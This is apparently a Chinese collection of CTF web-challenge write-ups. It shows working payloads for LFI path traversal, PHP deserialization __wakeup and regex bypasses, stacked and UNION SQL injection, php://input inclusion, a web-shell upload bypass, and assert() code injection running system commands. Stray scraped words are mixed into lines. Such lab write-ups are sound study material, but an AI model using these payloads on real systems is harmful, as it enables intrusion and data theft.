提示初始界面,尝试index.php,则回跳转到1.php,bp代理抓包,能够看到flag在响应头部的FLAG字段javascript
源码中有source.phpphp
<?php highlight_file(__FILE__); class emmm { public static function checkFile(&$page) { $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; if (! isset($page) || !is_string($page)) { echo "you can't see it"; return false; } if (in_array($page, $whitelist)) { return true; } $_page = mb_substr( $page, 0, mb_strpos($page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } $_page = urldecode($page); $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') //返回$_page的长度 );//返回$_page自己 if (in_array($_page, $whitelist)) { return true; } echo "you can't see it"; return false; } } if (! empty($_REQUEST['file']) && is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file']) //:: 为php 范围解析操做,调用内部静态成员须要使用 ) { include $_REQUEST['file']; exit; } else { echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />"; } ?> you can't see it
hint.php中为:flag not here, and flag in ffffllllaaaaggggLFI本地文件包含
,了解一下include()函数:html
mb_substr()
mb_strpos()
构造:?file=hint.php?/../../../../ffffllllaaaagggg前端
了解一下robots协议的做用,在robots.txt页面发现了fl0g.php,访问便可java
php反序列化:知识点mysql
利用__wakeup()绕过,当序列化后的字符串中表示对象属性个数的值大于真实的属性个数时,在对该字符串进行反序列化的时候就会跳过__wakeup()
的执行git
<?php class xctf{ public $flag = '111'; public function __wakeup(){ exit('bad requests'); } } $a = new xctf(); echo serialize($a); ?>
序列化以后为:O:4:"xctf":1:{s:4:"flag";s:3:"111";} ,修改1为大于1的数,传入绕过exit():github
<?php class Demo { private $file = 'index.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php $this->file = 'index.php'; } } } if (isset($_GET['var'])) { $var = base64_decode($_GET['var']); if (preg_match('/[oc]:\d+:/i', $var)) { die('stop hacking!'); } else { @unserialize($var); } } else { highlight_file("index.php"); } ?>
绕过__wakeup()、绕过preg_match()、
构造函数、析构函数,创造对象,销毁对象web
https://www.guildhab.top/?p=990算法
https://www.phpbug.cn/archives/32.htmlO:number == O:+number
__wakeup 在对象被反序列化以后被调用
__construct 当一个对象建立时被调用
__destruct 当一个对象销毁时被调用
__toString 当一个对象被看成一个字符串使用
__sleep 在对象被序列化以前运行
以下绕过
$flag = new Demo('fl4g.php'); $flag = serialize($flag); $flag = str_replace('O:4', 'O:+4',$flag); // 绕过正则 $flag = str_replace(':1:', ':2:' ,$flag); //绕过wakeup 函数 echo base64_encode($flag); //对参数进行 base 编码
thinkphp版本为v5.0.20,网络搜索rce便可
文件包含
<?php show_source(__FILE__); echo $_GET['hello']; $page=$_GET['page']; while (strstr($page, "php://")) { $page=str_replace("php://", "", $page); } include($page); ?>
这里的strstr()能够用大小写绕过,Php://input,利用输入流,post代码
1‘ order by 2#有两个字段,注入时候发现过滤了一些字段
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
普通的绕过没用,尝试堆叠注入
1'; show databases;
1'; show tables;
查询到两个表:words、1919810931114514
1' show columns from words;
1' show columns from 1919810931114514
;
在1919810931114514中看到了flag字段,接下来就是读取数据的时候了
没有思路,好多writeup提供了两种方法:
由于默认查询的表为word表,能够考虑改表名:使用 alert、rename
1'; set @sql=concat('se','lect * from 1919810931114514
;');prepare stmt from @sql;execute stmt;#
仍是会有检测,不过大小写绕过便可
1'; Set @sql=concat('se','lect * from 1919810931114514
;');Prepare stmt from @sql;execute stmt;#
http://books.gigatux.nl/mirror/mysqlguide4.1-5.0/0672326736/ch02lev1sec1.html
在报表系统那,只有一个注入点:http://220.249.52.133:42918/index.php?id=1
没思路,看了大佬的才知道爆破到id=2333
一开始没有想到,这居然是个sqli的题目
查看表
1' union select 1,group_concat(table_name) ,version() from information_schema.tables where table_schema=database();#
出来两个表:news,secret_table
查看字段
1' union select 1,group_concat(column_name) ,null from information_schema.columns where table_name="secret_table";#
出来两个字段:id,fl4g
下载文件web100,查看有<script>
标签,在用文本编辑器打开后,有许多乱码为控制字符,
修改文件后缀为.html,用浏览器打开,在控制台输出这个变量
function $() { var e = document.getElementById("c").value; if (e.length == 16) if (e.match(/^be0f23/) != null) if (e.match(/233ac/) != null) if (e.match(/e98aa$/) != null) if (e.match(/c7be9/) != null) { var t = ["fl", "s_a", "i", "e}"]; var n = ["a", "_h0l", "n"]; var r = ["g{", "e", "_0"]; var i = ["it'", "_", "n"]; var s = [t, n, r, i]; for (var o = 0; o < 13; ++o) { document.write(s[o % 4][0]); s[o % 4].splice(0, 1) } } } document.write('<input id="c"><button onclick=$()>Ok</button>'); delete _
能够知道,须要在输入的地方构造知足匹配的 e = "be0f233ac7be98aa" 知足条件
又一个代码审计
<?php $miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws"; function encode($str){ $_o=strrev($str); // echo $_o; for($_0=0;$_0<strlen($_o);$_0++){ $_c=substr($_o,$_0,1); $__=ord($_c)+1; $_c=chr($__); $_=$_.$_c; } return str_rot13(strrev(base64_encode($_))); } highlight_file(__FILE__); /* 逆向加密算法,解密$miwen就是flag */ ?>
str_rot13():https://www.php.net/manual/zh/function.str-rot13.php
strrev():https://www.php.net/manual/zh/function.strrev
比较简单,直接判断解码便可:
function decode($str){ $org = base64_decode(strrev(str_rot13($str))); // echo "\n"; // echo $org; for($_0=0;$_0<strlen($org);$_0++){ $_c=substr($org,$_0,1); $__=ord($_c)-1; $_c=chr($__); $_=$_.$_c; } $_org=strrev($_); echo "\n"; echo $_org; }
看了其余的一些思路,.phps为php源码文件,用来在web端查看源代码
phps文件就是php的源代码文件,一般用于提供给用户(访问者)查看php代码,由于用户没法直接经过Web浏览器看到php文件的内容,因此须要用phps文件代替。其实,只要不用php等已经在服> 务器中注册过的MIME类型为文件便可,但为了国际通用,因此才用了phps文件类型。 它的MIME类型为:text/html, application/x-httpd-php-source, application/x-httpd-php3-source。
审计代码:
<?php if("admin"===$_GET[id]) { echo("<p>not allowed!</p>"); exit(); } $_GET[id] = urldecode($_GET[id]); if($_GET[id] == "admin") { echo "<p>Access granted!</p>"; echo "<p>Key: xxxxxxx </p>"; } ?> Can you anthenticate to this website?
对 admin 二次url编码便可:
文件上传题目,审查元素,发现经过前端的check()函数进行过滤,只容许jpg,png文件类型
function check(){ upfile = document.getElementById("upfile"); submit = document.getElementById("submit"); name = upfile.value; ext = name.replace(/^.+\./,''); if(['jpg','png'].contains(ext)){ submit.disabled = false; }else{ submit.disabled = true; alert('请选择一张图片文件上传!'); } }
这里我是直接禁止了chrome的JavaScript ,因而能够上传,上传后蚁剑链接便可
看到这种,其实就是信息搜集
dirsearch发现.git文件泄露
经过githack来还原源代码
<?php if (isset($_GET['page'])) { $page = $_GET['page']; } else { $page = "home"; } $file = "templates/" . $page . ".php"; // I heard '..' is dangerous! assert("strpos('$file', '..') === false") or die("Detected hacking attempt!"); // TODO: Make this look nice assert("file_exists('$file')") or die("That file doesn't exist!"); ?>
assert()函数会将里面的字符串当作php代码执行,因此这是一个代码注入,调用系统函数查看上层目录的flag.php
$page=cald') or system("cat ./templates/flag.php");//flag返回在了页面的注释中
须要学习的还不少,有时间准备一下下面的东西